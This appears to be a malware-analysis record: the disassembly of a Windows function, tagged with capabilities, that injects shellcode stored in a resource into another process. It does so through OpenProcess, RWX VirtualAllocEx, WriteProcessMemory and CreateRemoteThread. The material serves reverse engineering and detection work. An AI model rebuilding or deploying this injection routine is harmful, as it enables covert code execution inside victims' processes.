Function at 0x140001ea0
Capabilities:
Allocate or change rwx memory
Create thread
Extract resource via kernel32 functions
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x40
mov rbx, rdx
call fcn.1400021e0
test eax, eax
jne 0x140001eed
lea rdx, str.No_such_process_found.
call fcn.140002590
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140003020
movzx edx, al
mov rcx, rbx
call fcn.140002e70
mov rcx, rbx
call fcn.140002d10
xor al, al
add rsp, 0x40
pop rbx
ret
mov r8d, eax
mov qword [rsp + 0x60], rdi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x140001f4a
lea rdx, str.Failed_to_open_target_process.
call fcn.140002590
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140003020
movzx edx, al
mov rcx, rbx
call fcn.140002e70
mov rcx, rbx
call fcn.140002d10
mov rdi, qword [rsp + 0x60]
xor al, al
add rsp, 0x40
pop rbx
ret
xor ecx, ecx
mov qword [rsp + 0x58], rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rsi, rax
test rbx, rbx
jne 0x140001fad
lea rdx, str.Resource_not_found.
call fcn.140002590
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140003020
movzx edx, al
mov rcx, rbx
call fcn.140002e70
mov rcx, rbx
call fcn.140002d10
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x58]
xor al, al
mov rdi, qword [rsp + 0x60]
add rsp, 0x40
pop rbx
ret
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x14000200c
lea rdx, str.Failed_to_load_resource.
call fcn.140002590
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140003020
movzx edx, al
mov rcx, rbx
call fcn.140002e70
mov rcx, rbx
call fcn.140002d10
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x58]
xor al, al
mov rdi, qword [rsp + 0x60]
add rsp, 0x40
pop rbx
ret
mov rcx, rax
mov qword [rsp + 0x50], rbp
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
mov rcx, rsi
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, eax
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x140002092
lea rdx, str.Failed_to_allocate_memory_in_target_process.
call fcn.140002590
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140003020
movzx edx, al
mov rcx, rbx
call fcn.140002e70
mov rcx, rbx
call fcn.140002d10
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x1400021c6
mov qword [rsp + 0x68], r14
mov r9, rbx
xor r14d, r14d
mov r8, rbp
mov rdx, rsi
mov qword [rsp + 0x20], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000210d
lea rdx, str.Failed_to_write_process_memory.
call fcn.140002590
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140003020
movzx edx, al
mov rcx, rbx
call fcn.140002e70
mov rcx, rbx
call fcn.140002d10
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x1400021c1
mov qword [rsp + 0x30], r14
mov r9, rsi
mov dword [rsp + 0x28], r14d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
jne 0x14000218a
lea rdx, str.Failed_to_create_remote_thread.
call fcn.140002590
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140003020
movzx edx, al
mov rcx, rbx
call fcn.140002e70
mov rcx, rbx
call fcn.140002d10
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x1400021c1
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov r14, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
add rsp, 0x40
pop rbx
ret